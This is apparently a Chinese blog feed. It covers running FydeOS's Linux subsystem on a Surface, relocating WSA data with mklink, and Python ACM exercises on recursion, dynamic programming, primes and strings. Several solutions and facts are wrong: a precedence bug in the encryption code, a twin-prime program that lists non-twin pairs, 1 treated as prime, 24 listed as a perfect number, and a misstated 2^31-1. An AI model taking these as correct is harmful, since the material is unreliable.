2022-12-20T04:42:38.584372Z INFO kernel: [ 396.631888] EXT4-fs (dm-1): mounted filesystem without journal. Opts:
2022-12-20T04:42:38.606690Z INFO vm_concierge[3233]: Disk image preallocated
2022-12-20T04:42:38.610554Z INFO vm_concierge[3233]: Received StartVm request
2022-12-20T04:42:38.610606Z ERR vm_concierge[3233]: Missing VM kernel path: /run/imageloader/cros-termina/99999.0.0/vm_kernel
2022-12-20T04:43:09.578102Z NOTICE temp_logger[16903]: INT3400_Thermal:20C B0D4:93C GEN4:39C GEN5:37C pch_skylake:52C x86_pkg_temp:91C PL1:30.000W
2022-12-20T04:43:35.275342Z WARNING session_manager[1287]: WARNING session_manager: [device_identifier_generator.cc(228)] No device identifiers available, no state keys generated

这里很明显了是缺少kernel文件,在官方论坛问了一圈,官方回复如下

1
请检查 /usr/local/tatl-fydeos/ 目录是否存在,其中应该有 vm_kernel, vm_rootfs.img 等文件。 如果目录不存在或者文件缺失的话,需要在 shell 中以 root 身份执行 /usr/bin/stateful_update_wrapper.sh recover 把 stateful 分区恢复一下,重启后再重试安装 linux 子系统。

然后我去检查,果然没有这个目录,根据他给的方法恢复一下,可以用了

这里有个坑就是它恢复的时候会下载资源文件,这个资源文件的下载链接是AWS3的,建议挂个梯子下,要不然慢得很


总结

Surface Pro 5毕竟是一台几年前的本子了,论性能肯定比不上现在的电脑,但是它带给我的使用体验是非常棒的,比我之前那台YOGA要好得多(轻薄、便携),而且3:2的屏幕确实适合工作(这里表扬一下拯救者系列,我的戴尔游侠就是16:9),可能缺点就是在性能上,还有就是Linux的适配上面了。该说不愧是微软亲儿子嘛,微软做工确实牛

]]>
+ + + + + Tech + + + + + + + Tech + + Surface + + FydeOS + + Windows + + Linux + + Ubuntu + + linux-surface + + + +
+ + + + + 移动你的WSA数据盘,让你的C盘不再爆满 + + /posts/Move-your-wsa-data/ + +

WSA确实是个很好用的东西,毕竟能够直接跑上安卓系统,不用忍受模拟器那种广告,很方便

但是同样也带来了一些问题就是:你的C盘会爆满

这主要是因为WSA的数据盘都放在了C:\Users\%username%\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache\这个目录下,我的数据盘经过我的半年使用已经到了34.3GB了,然后就导致了我的C盘像上面那张图那样要炸了

我记得Linux里面有ln命令可以创建文件链接,然后Windows有个叫做mklink的(仅cmd可用,powershell没有,我踩了这个坑),之前为了让Epic和Steam的GTA5都可用还用过来着,这不用这个方法把数据移到其他硬盘里

我把文件放在了D:\WSA-data这个文件夹里,连着C:\Users\%username%\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache\LocalCache文件夹整个放进去

然后按Windows + X,选择Windows 终端(管理员)(选择powershell或者cmd都行,但是一定要有管理员权限

然后打入下面这行命令(记得把后面的那个路径改成你自己的)

1
mklink /J "C:\Users\GamerNoTitle\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache" "D:\WSA-data\LocalCache"

然后我们的文件链接就创建成功了,打开WSA,一切正常!

]]>
+ + + + + Software + + + + + + + Software + + hardlink + + + +
+ + + + + 从零开始的Python ACM Ch.9:动态规划 + + /posts/Go-for-Python-Ch9/ + +

例题:跳台阶

假设你正在爬楼梯。需要 n 阶你才能到达楼顶。

每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢?

  • 示例 1

输入:n = 2 输出:2

解释:有两种方法可以爬到楼顶。

  1. 1 阶 + 1 阶

  2. 2 阶

  • 示例 2:

输入:n = 3 输出:3

解释:有三种方法可以爬到楼顶。

  1. 1 阶 + 1 阶 + 1 阶

  2. 1 阶 + 2 阶

  3. 2 阶 + 1 阶

1 <= n <= 45

题解(递归法)

解释:一个stepsn的问题可以看做是stepsn-1stepsn-2的步骤和

1
2
3
4
5
6
7
8
steps = int(input('Steps: '))   # 台阶数

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
return degrade(steps - 1) + degrade(steps - 2)

print(degrade(steps))

这个方法可以发现,当输入steps10时,degrade(9)计算了1次,degrade(8)计算了2次(degrade(9)里面一次,自身一次),再往下发现越往下计算的次数越多,如果计算式子很复杂会消耗更多的时间

所以有一个优化的方式,就是把已经算过的值丢到一个新的变量里面存起来,如果计算过就不用计算了(缓存优化)

1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数
memory = [-1] * 10000000

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
if memory[steps] >= 0: return memory[steps]
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
return memory[steps]

print(degrade(steps))

或者使用字典来存储

1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数
memory = {}

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
if steps in memory: return memory[steps]
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
return memory[steps]

print(degrade(steps))

递归问题

步骤只有两步:

  • 分解(分解为规模较小的相似问题)
  • 原子问题(可以由问题分解推出,这里就是i=1i=2的情况)

很多DP算法都能够用递归解决,因为这个比DP简单,所以先在这里列出来。

递归会占用系统资源,而且递归一定会比循环更慢一些(尽管你用了缓存优化),当递归数过高时会超过Python的最大深度,引起RecursionError然后就……像下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Steps: 10000
Traceback (most recent call last):
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_trace_dispatch_regular.py", line 359, in __call__
is_stepping = pydev_step_cmd != -1
RecursionError: maximum recursion depth exceeded in comparison

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\runpy.py", line 196, in _run_module_as_main
return _run_code(code, main_globals, None,
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\runpy.py", line 86, in _run_code
exec(code, run_globals)
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\__main__.py", line 39, in <module>
cli.main()
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy/..\debugpy\server\cli.py", line 430, in main
run()
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy/..\debugpy\server\cli.py", line 284, in run_file
runpy.run_path(target, run_name="__main__")
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 321, in run_path
return _run_module_code(code, init_globals, run_name,
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 135, in _run_module_code
_run_code(code, mod_globals, init_globals,
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 124, in _run_code
exec(code, run_globals)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 11, in <module>
print(degrade(steps))
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
[Previous line repeated 983 more times]
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 4, in degrade
def degrade(steps):
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_trace_dispatch_regular.py", line 469, in __call__
return None if event == 'call' else NO_FTRACE
RecursionError: maximum recursion depth exceeded in comparison

DP算法

核心问题

  • 合成问题
  • 初始状态(就是i=1i=2的状态)
  • 计算后续状态

DP算法求解

还是上面那个跳台阶问题

1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数

def degrade(steps):
result = [0] * (steps + 1)
result[1], result[2] = 1, 2
for i in range(3, steps+1):
result[i] = result[i-1] + result[i-2]
return result[steps]

print(degrade(steps))

输出

1
2
Steps: 10000
54438373113565281338734260993750380135389184554695967026247715841208582865622349017083051547938960541173822675978026317384359584751116241439174702642959169925586334117906063048089793531476108466259072759367899150677960088306597966641965824937721800381441158841042480997984696487375337180028163763317781927941101369262750979509800713596718023814710669912644214775254478587674568963808002962265133111359929762726679441400101575800043510777465935805362502461707918059226414679005690752321895868142367849593880756423483754386342639635970733756260098962462668746112041739819404875062443709868654315626847186195620146126642232711815040367018825205314845875817193533529827837800351902529239517836689467661917953884712441028463935449484614450778762529520961887597272889220768537396475869543159172434537193611263743926337313005896167248051737986306368115003088396749587102619524631352447499505204198305187168321623283859794627245919771454628218399695789223798912199431775469705216131081096559950638297261253848242007897109054754028438149611930465061866170122983288964352733750792786069444761853525144421077928045979904561298129423809156055033032338919609162236698759922782923191896688017718575555520994653320128446502371153715141749290913104897203455577507196645425232862022019506091483585223882711016708433051169942115775151255510251655931888164048344129557038825477521111577395780115868397072602565614824956460538700280331311861485399805397031555727529693399586079850381581446276433858828529535803424850845426446471681531001533180479567436396815653326152509571127480411928196022148849148284389124178520174507305538928717857923509417743383331506898239354421988805429332440371194867215543576548565499134519271098919802665184564927827827212957649240235507595558205647569365394873317659000206373126570643509709482649710038733517477713403319028105575667931789470024118803094604034362953471997461392274791549730356412633074230824051999996101549784667340458326852960388301120765629245998136251652347093963049734046445106365304163630823669242257761468288461791843224793434406079917883360676846711185597501

DP与递归的区别

DP是正着算,递归是反着算,仅此而已,思考问题的思路不同。

例题:网络路径数

一个机器人位于一个 m x n 网格的左上角 。

机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角。

问总共有多少条不同的路径?

  • 示例 1

输入:m = 3, n = 7 输出:28

  • 示例 2

输入:m =3, n = 2 输出:3 解释:从左上角开始,总共有 3 条路径可以到达右下角。

  1. 向右 -> 向下 -> 向下

  2. 向下 -> 向下 -> 向右

  3. 向下 -> 向右 -> 向下

  • 示例 3

输入:m =7, n = 3

输出:28

  • 示例 4

输入:m = 3, n = 3

输出:6

题解(递归法)

1
2
3
def pathcount(m, n):
if m == 1 or n == 1: return 1
return pathcount(m-1, n) + pathcount(m, n-1)

题解(DP法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def pathcount(m, n):
ls = [[0 for _ in range(n+1)] for __ in range(m+1)]
ls[1][1] = 0
for i in range(1, len(ls[1])):# 初始化状态初值
ls[1][i] = 1
for i in range(1, len(ls)):
ls[i][1] = 1
ls[1][2] = 1
ls[2][1] = 1
for b in range(2, m+1): # b是行
for a in range(2, n+1): # a是列
ls[b][a] = ls[b-1][a] + ls[b][a-1]
print(ls)
return ls[m][n]
]]>
+ + + + + Coding + + + + + + + Coding + + Dynamic + + + +
+ + + + + 从零开始的Python ACM Ch.8:综合题目 + + /posts/Go-for-Python-Ch8/ + +

数据加密

一个公司对于一个四位数的整型数字的加密方式为:每位数位上的数字+5后除以十得到余数,将各数位上的余数按照第一位与第四位、第二位与第三位的顺序进行交换,得到最终结果

1
2
3
4
5
6
7
8
9
10
11
message = input('num: ')

message = [message[0], message[1], message[2], message[3]]
for i in range(0, len(message)):
message[i] = int(message[i]) + 5 % 10
message[0], message[1], message[2], message[3] = message[3], message[2], message[1], message[0]
result = ''
for i in message:
result += str(i)
print(result)

双色球

用程序模拟双色球开奖过程,红色球范围为133,蓝色球范围为116,红色球有6个且数字不能重复,蓝色球只有1个。

输出格式为:红色球:x x x x x x 蓝色球:x

1
2
3
4
5
6
7
8
9
10
11
12
13
import random

reds = set()
blue = -1
while len(reds) < 6:
reds.add(random.randint(1,33))

blue = random.randint(1,16)

print('红色球:', end='')
for i in reds:
print(i, end=' ')
print(f'蓝色球:{blue}')
]]>
+ + + + + Coding + + + + + + + Coding + + + +
+ + + + + 从零开始的Python ACM Ch.7:整数练习 + + /posts/Go-for-Python-Ch7/ + +

黑洞数

  • 黑洞数又称陷阱数,是类具有奇特转换特性的整数。任何一个数字不全相同整数,经有限“重排求差”操作,总会得某一个或一些数,这些数即为黑洞数。“重排求差”操作即把组成该数的数字重排后得到的最大数减去重排后得到的最小数。或者是冰雹原理中的“1”黑洞数
  • 求出三位数以内的黑洞数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
blackhole_num = set({})

def sort(num):
num_ascend_ls = sorted(list(str(num)))
num_ascend = int(num_ascend_ls[0]+num_ascend_ls[1]+num_ascend_ls[2])
num_decend_ls = list(reversed(sorted(list(str(num)))))
num_decend = int(num_decend_ls[0]+num_decend_ls[1]+num_decend_ls[2])
return num_ascend, num_decend

for i in range(100,1000):
num = i
while True:
num_ascend, num_decend = sort(num)
tmp = num_decend - num_ascend
if tmp == num:
blackhole_num.add(tmp)
break
elif tmp < 100:
break
else:
num = tmp
print(blackhole_num)

输出

1
{495}

我还去百度了一下,三位数的黑洞数确实只有495……

勾股数

  • 这个应该不用多介绍了吧……输出100以内的所有勾股数
1
2
3
4
5
6
7
8
9
10
11
12
# 暴力做法
from math import sqrt

nums = list()

for a in range(1, 101):
for b in range(1, a+1):
if str(sqrt(a ** 2 + b ** 2)).endswith('.0') and sqrt(a ** 2 + b ** 2) <= 100:
nums.append((b, a, int(sqrt(a**2+b**2))))
nums.sort(key=lambda x: x[0])
print(nums)

输出(共52个)

1
[(3, 4, 5), (5, 12, 13), (6, 8, 10), (7, 24, 25), (8, 15, 17), (9, 12, 15), (9, 40, 41), (10, 24, 26), (11, 60, 61), (12, 16, 20), (12, 35, 37), (13, 84, 85), (14, 48, 50), (15, 20, 25), (15, 36, 39), (16, 30, 34), (16, 63, 65), (18, 24, 30), (18, 80, 82), (20, 21, 29), (20, 48, 52), (21, 28, 35), (21, 72, 75), (24, 32, 40), (24, 45, 51), (24, 70, 74), (25, 60, 65), (27, 36, 45), (28, 45, 53), (28, 96, 100), (30, 40, 50), (30, 72, 78), (32, 60, 68), (33, 44, 55), (33, 56, 65), (35, 84, 91), (36, 48, 60), (36, 77, 85), (39, 52, 65), (39, 80, 89), (40, 42, 58), (40, 75, 85), (42, 56, 70), (45, 60, 75), (48, 55, 73), (48, 64, 80), (51, 68, 85), (54, 72, 90), (57, 76, 95), (60, 63, 87), (60, 80, 100), (65, 72, 97)]

不重复的三位数

  • 用1、2、3、4能组成多少个互不相同且无重复数字的三位数?都是多少?
  • (其实Python里面的itertools里面有个方法叫做permutation()
1
2
3
4
5
6
7
8
9
10
from itertools import permutations

nums = [1, 2, 3, 4]
result = []

possible = permutations(nums, 3)
for a, b, c in possible:
result.append(a*100+b*10+c)
print(result)
print(len(result))

输出

1
2
[123, 124, 132, 134, 142, 143, 213, 214, 231, 234, 241, 243, 312, 314, 321, 324, 341, 342, 412, 413, 421, 423, 431, 432]
24
]]>
+ + + + + Coding + + + + + + + Coding + + + +
+ + + + + 从零开始的Python ACM Ch.6:质数与整数练习 + + /posts/Go-for-Python-Ch6/ + +

孪生素数

  • 问题描述
    本节要研究孪生素数的问题,先来看看什么是孪生素数。
    所谓孪生素数指的是间隔为2的两个相邻素数,因为它们之间的距离己经近得不能再近了,如同孪生兄弟一样,故将这一对素数称为孪生素数。
    显然,最小的一对孪生素数是(1,3)。我们可以写出3、100以内的孪生素数,一共有8对,分别是(3,5),(5,7),(11,13),(17,19),(29,31),(41,43),
    (59,61)和(71,73)。随着数字的增大,孪生素数的分布也越来越稀疏,人工寻找孪生素数变得非常困难。
    关于孪生素数还存在着一个著名的猜想一孪生素数猜想,即孪生素数是否有无穷多对,这是数论中还有待解决的一个重要问题。此处我们只讨论在有限范围内的孪生素数求解问题。
  • 本节要解决的问题:编程求出3、1000以内的所有孪生素数。

其实很简单,直接遍历就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from math import sqrt

def isPrime(num):
if num == 2: return True
if num % 2 == 0: return False
i = 3
while i <= sqrt(num):
if num % i == 0: return False
i += 2
return True

if __name__ == '__main__':
flag = False
primes = []
primesset = []
tmp = -1
for i in range(1000):
if isPrime(i) and not flag:
primes.append(i)
flag = True
tmp = i
elif isPrime(i) and flag:
primes.append(i)
primesset.append([tmp, i])
tmp = -1
flag = False
print(primesset)

输出

1
[[1, 2], [3, 5], [7, 11], [13, 17], [19, 23], [29, 31], [37, 41], [43, 47], [53, 59], [61, 67], [71, 73], [79, 83], [89, 97], [101, 103], [107, 109], [113, 127], [131, 137], [139, 149], [151, 157], [163, 167], [173, 179], [181, 191], [193, 197], [199, 211], [223, 227], [229, 233], [239, 241], [251, 257], [263, 269], [271, 277], [281, 283], [293, 307], [311, 313], [317, 331], [337, 347], [349, 353], [359, 367], [373, 379], [383, 389], [397, 401], [409, 419], [421, 431], [433, 439], [443, 449], [457, 461], [463, 467], [479, 487], [491, 499], [503, 509], [521, 523], [541, 547], [557, 563], [569, 571], [577, 587], [593, 599], [601, 607], [613, 617], [619, 631], [641, 643], [647, 653], [659, 661], [673, 677], [683, 691], [701, 709], [719, 727], [733, 739], [743, 751], [757, 761], [769, 773], [787, 797], [809, 811], [821, 823], [827, 829], [839, 853], [857, 859], [863, 877], [881, 883], [887, 907], [911, 919], [929, 937], [941, 947], [953, 967], [971, 977], [983, 991]]

梅森素数

  • 问题描述:梅森数(MersennePrime)指的是形如2n·1的正整数,其中指数n是素数,记为Mno如果一个梅森数是素数,则称其为梅森素数。例如2^2-1=3、2^3-1:7都是梅森素数。
    当n:2、3、5、7时,Mn都是素数,但n=11时,Mn=2^11-1=2047=23×89,显然不是梅森素数。
    1722年,瑞士数学大师欧拉证明了2^31-1=21474837是一个素数,它共有10位数,成为当时世界上己知的最大素数。
    迄今为止,人们仅发现了47个梅森素数。梅森素数历来都是数论研究中的一项重要内容,也是当今科学探索中的热点和难点问题。
    了解了梅森素数后,现在来看本节要解决的编程问题。
  • 试求出指数n<20的所有梅森素数。

直接去算n在20以内质数的时候2^n-1是否为质数就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from math import sqrt


def isPrime(num):
if num == 2:
return True
if num % 2 == 0:
return False
i = 3
while i <= sqrt(num):
if num % i == 0:
return False
i += 2
return True


if __name__ == '__main__':
flag = False
primes = []
result = []
for i in range(20): # 20以内的素数
if isPrime(i):
primes.append(i)
for num in primes:
if isPrime(2**num-1):
result.append(2**num-1)
print(primes, result)

输出

1
[1, 2, 3, 5, 7, 11, 13, 17, 19] [1, 3, 7, 31, 127, 8191, 131071, 524287]

回文数

  • 问题描述:打印不超过n(n<256)的其平方具有对称性质的数
1
2
3
4
5
6
7
8
n = int(input('n: '))
result = []

for i in range(1,n+1):
if str(i**2) == str(i**2)[::-1]:
result.append(i)

print(result)

输出

1
[1, 2, 3, 11, 22, 26, 101, 111, 121, 202, 212]

水仙花数

  • 问题描述:经典题目,三位数的数位上的数字的三次方等于数字本身
1
2
3
4
5
6
7
8
9
10
result = []
for i in range(100, 1000):
a = str(i)[0]
b = str(i)[1]
c = str(i)[2]
if int(a)**3 + int(b)**3 + int(c)**3 == i:
result.append(i)

print(result)

输出

1
[153, 370, 371, 407]

阿姆斯特朗数

  • 水仙花数的翻版,任意位数也可以有这个特性,求1000以内的这种数字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
result = []
for i in range(0, 1001):
if i < 10:
if i**3 == i:
result.append(i)
elif i >= 10 and i < 100:
a = str(i)[0]
b = str(i)[1]
if int(a)**3 + int(b)**3 == i:
result.append(i)
elif i >= 100 and i < 1000:
a = str(i)[0]
b = str(i)[1]
c = str(i)[2]
if int(a)**3 + int(b)**3 + int(c)**3 == i:
result.append(i)
elif i >= 1000:
a = str(i)[0]
b = str(i)[1]
c = str(i)[2]
d = str(i)[3]
if int(a)**3 + int(b)**3 + int(c)**3 + int(d)**3 == i:
result.append(i)

print(result)

输出

1
[0, 1, 153, 370, 371, 407]

完数

  • 问题描述:一个数如果能由其因子相加得到,就称这个数字为完数。请输出1000以内的完数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from math import sqrt

result = []
for i in range(1, 1000):
factor = []
for j in range(1, int(i/2)+1):
if i % j == 0:
factor.append(j)
if sum(factor) == i:
result.append(i)
break

print(result)

输出

1
[6, 24, 28, 496]

自守数

  • 问题描述:一个数的平方的尾数等于自身的自然数即为自守数,求100 000以内的自守数
1
2
3
4
5
6
7
result = []
for i in range(100000):
if str(i) == str(i**2)[-len(str(i)):]:
result.append(i)

print(result)

输出

1
[0, 1, 5, 6, 25, 76, 376, 625, 9376, 90625]

高位数的高次方位数输出

  • 题目描述:对于一个13位的高位数,进行13次方的运算后,输出最后三位数
1
2
3
4
5
6
7
8
9
10
num = input('num: ')

result = []
tmpnum = int(num[-3:])
last = 1
for i in range(13):
last = int(str(last)[-3:]) * tmpnum

print(str(last)[-3:])

输入及输出

1
2
num: 1234567891234
504

不截断尾巴的实际数字为15477282471244379725868683797046205669901003401479261325193553207435375574886373743207123231086152401578649551681124388954385182017538129322035861770786709504

通过比较尾数发现做法是正确的

]]>
+ + + + + Coding + + + + + + + Coding + + + +
+ + + + + 从零开始的Python ACM Ch.5:练习系列 + + /posts/Go-for-Python-Ch5/ + +

求素数

  • 问题描述
    求给定范围start、end之间的所有素数。

  • 问题分析
    素数指的是只能被1和它自身整除的整数。判定一个整数m是否为素数的关键,就是要判定整数m能否能被除1和它自身以外的其他任何整数所整除,若都不能整除,则m为素数。本题求的是给定范围start、end之间的所有素数,考虑到程序的通用性,需要从键盘输入start和end的值,例如输入sta:1,end=1000,则所编写的程序应能够打印出1、1000之间的所有素数。

  • 求素数的方法参考:判断一个数是否为质数(素数)的4种方法_是杰夫呀的博客-CSDN博客_如何判断一个数是不是质数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from math import sqrt

start = int(input('Start: '))
end = int(input('End: '))


def isPrime(num):
if num == 2: return True
if num % 2 == 0: return False
i = 3
while i <= sqrt(num):
if num % i == 0: return False
i += 2
return True


for i in range(start, end + 1):
if isPrime(i):
print(i)

哥德巴赫猜想

  • 问题描述
    2000以内的不小于4的正偶数都能够分解为两个素数之和(即验证歌德巴赫猜想对2000以内的正偶数成立)。

  • 问题分析
    根据问题描述,为了验证歌德巴赫猜想对2000以内的正偶数都是成立的,要将整数分解为两部分,然后判断分解出的两个整数是否均为素数。若是,则满足题意,否则应重新进行分解和判断。针对该问题,我们可以给定如下的输入和输出限定。
    输入时:每行输入一组数据,即2000以内的正偶数n,一直输入到文件结束符为止。
    输出时:输出n能被分解成的素数a和b。如果不止一组解,则输出其中a最小的那组解。
    当然,读者可以根据实际的需要规定不同的输入和输出形式。

  • 这里指定输入方式:从控制台读入,空格分割

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from math import sqrt

nums = input('Nums(split with space): ').split()


def isPrime(num):
if num == 2: return True
if num % 2 == 0: return False
i = 3
while i <= sqrt(num):
if num % i == 0: return False
i += 2
return True

nums = list(map(int, nums))
for num in nums:
add1 = -1
add2 = -1
for i in range(2, num):
if not isPrime(i): continue
else:
for j in range(num, 1, -1):
if not isPrime(j): continue
else:
if i + j == num:
add1 = i
add2 = j
break
if add1 != -1 and add2 != -1: break
print(add1, add2)

输入与输出

1
2
3
4
5
6
7
8
Nums(split with space): 4 5 6 7 8 9 10
2 2
2 3
3 3
2 5
3 5
2 7
3 7

1898

  • 问题描述:“1898一要发就发”。请将不超过1993的所有素数从小到大排成第一行,第二行上的每个数都等于它上面相邻两个素数之差。编程求出:第二行数中是否存在若干个连续的整数,它们的和恰好为1898?假如存在的话,又有几种这样的情况?
    两行数据分别如下:
    第一行:2,3,5,7,11,13,17 …… 1979,1987,1993

    第二行:1,2,2,4,2,4……8,6

(还没做)

]]>
+ + + + + Coding + + + + + + + Coding + + + +
+ + + + + 从零开始的Python ACM Ch.4:序列和字符串的算法 + + /posts/Go-for-Python-Ch4/ + +

UVa272 TeX中的引号

TEX Quotes - UVA 272 - Virtual Judge (vjudge.net)

  • 在Tex中,左引号是``,右引号是’ ‘。
  • 给定一段包含双引号的段落,你的任务是把它转换成Tex的格式。

个人题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ArticleInput = '''
"To be or not to be," quoth the bard, "that
is the question".
The programming contestant replied: "I must disagree.
To `C' or not to `C', that is The Question!"
'''
flag = False

ArticleOutput = ''

start = 0

for place in range(len(ArticleInput)):
if ArticleInput[place] == '"' and not flag:
ArticleOutput += ArticleInput[start:place] + "``"
start = place + 1
flag = True
elif ArticleInput[place] == '"' and flag:
ArticleOutput += ArticleInput[start:place] + "''"
start = place + 1
flag = False

print(ArticleOutput)

输出:

1
2
3
4
``To be or not to be,'' quoth the bard, ``that
is the question''.
The programming contestant replied: ``I must disagree.
To `C' or not to `C', that is The Question!''

UVa10082 WERTYU

把手放在键盘上,稍不注意就会往右错一位。这样,输入Q会变成输入W,输入J会变成输入K等。键盘如图所示。 输入一个错位后敲出来的字符串(所有字母均大写),输出打字员本来想打出的矩阵输入保证合法,即一定是错位之后的字符串。例如输入中不会出现大写字母A。多行输入 每行包括数字,空格,大写字母(除了Q,A,Z)或者是标点符号(除了“’”(L右面第2个)),标有单词的按键,如Tab,BackSp,Control等等不会出现。你需要用每个字母或者符号左面的(在如图给出的QWERTY类型的键盘)那个按键内容替换他,输入的空格不作处理,依然输出空格。

个人题解(打表真累……)

UVa10082 - WERTYU 题解 - 1v7w - 博客园 (cnblogs.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
KeyboardInput = 'O S, GOMR YPFSU/'

KeyMap = {
'W': 'Q', 'E': 'W', 'R': 'E', 'T': 'R', 'Y': 'T', 'U': 'Y', 'I': 'U','O': 'I', 'P': 'O', '[': 'P', ']': '[', '\\': ']',
'S': 'A', 'D': 'S', 'F': 'D', 'G': 'F', 'H': 'G', 'J': 'H', 'K': 'J', 'L': 'K', ':': 'L', "'": ':',
'X': 'Z', 'C': 'X', 'V': 'C', 'B': 'V', 'N': 'B', 'M': 'N', ',': 'M', '.': ',', '/': '.',
'2': '1', '3': '2', '4': '3', '5': '4', '6': '5', '7': '6', '8': '7', '9': '8', '0': '9', '-': '0', '=': '-'
}

Output = ''

for key in KeyboardInput:
try:
Output += KeyMap[key]
except KeyError as e:
Output += ' '

print(Output)

输出:

1
I AM FINE TODAY.

属于是牺牲空间换时间了~

回文串和镜像串的判断

输入一个字符串,判断它是否为回文串以及镜像(左右翻转)串。输入字符串保证不含数字0。所谓回文串,就是反转以后与原串相同,如abba和madam。所谓镜像串,就是左右镜像之后和原串相同,如2S和3AIAE。注意,并不是每个字符在镜像之后都能得到一个合法字符。(空白项表示该字符镜像后不能得到一个合法字符。)

个人题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
InputStrings = '''NOTAPALINDROME
ISAPALINILAPASI
2A3MEAS
ATOYOTA'''

MirrorMap = {
'A': 'A',
'E': '3',
'H': 'H',
'I': 'I',
'J': 'L',
'L': 'J',
'M': 'M',
'O': 'O',
'S': '2',
'T': 'T',
'U': 'U',
'V': 'V',
'W': 'W',
'X': 'X',
'Y': 'Y',
'Z': '5',
'1': '1',
'2': 'S',
'3': 'E',
'5': 'Z',
'8': '8'
}

for string in InputStrings.split('\n'):
Reverse = True if string == string[::-1] else False
Mirror = False
MirrorString = ''
Valid = True
for char in string:
if Valid:
if MirrorMap.get(char, False):
MirrorString += MirrorMap[char]
else:
Valid = False
if Valid and MirrorString == string[::-1]:
Mirror = True
if Reverse and Mirror:
print(f'{string} -- is a mirrored palindrome.')
elif Reverse and not Mirror:
print(f'{string} -- is a regular palindrome.')
elif not Reverse and Mirror:
print(f'{string} -- is a mirrored string.')
else:
print(f'{string} -- is not a palindrome.')

输出:

1
2
3
4
NOTAPALINDROME -- is not a palindrome.
ISAPALINILAPASI -- is a regular palindrome.
2A3MEAS -- is a mirrored string.
ATOYOTA -- is a mirrored palindrome.

UVa340 猜数字游戏的提示

这是一个猜数游戏,第1行是答案序列的长度,也是询问的序列的长度(输入0结束),第2行是答案序列,接下来n行是询问序列,直到输入全0结束,每一个询问你都得给出回答,(x,y),x代表的是输入的序列中的数字与答案序列中的数字有几个是吻合的,y代表输入序列中的数字与答案序列中的数字有几个相同的,但是不在同一位置,也就是不吻合。现在请你编程实现这个功能。

个人题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
length = int(input('Length: '))
Origin = input('Origin Input (Split with space): ').split(' ')

def getOutput(Input):
NumCount = getNumMatch(Input)
PosCount = getPosMatch(Input)
return (PosCount, NumCount)

def getNumMatch(Input):
NumCount = 0
InputList = Input.split(' ')
CheckedList = []
for pos in range(len(InputList)):
if InputList[pos] in Origin and InputList[pos] == Origin[pos]:
CheckedList.append(InputList[pos])
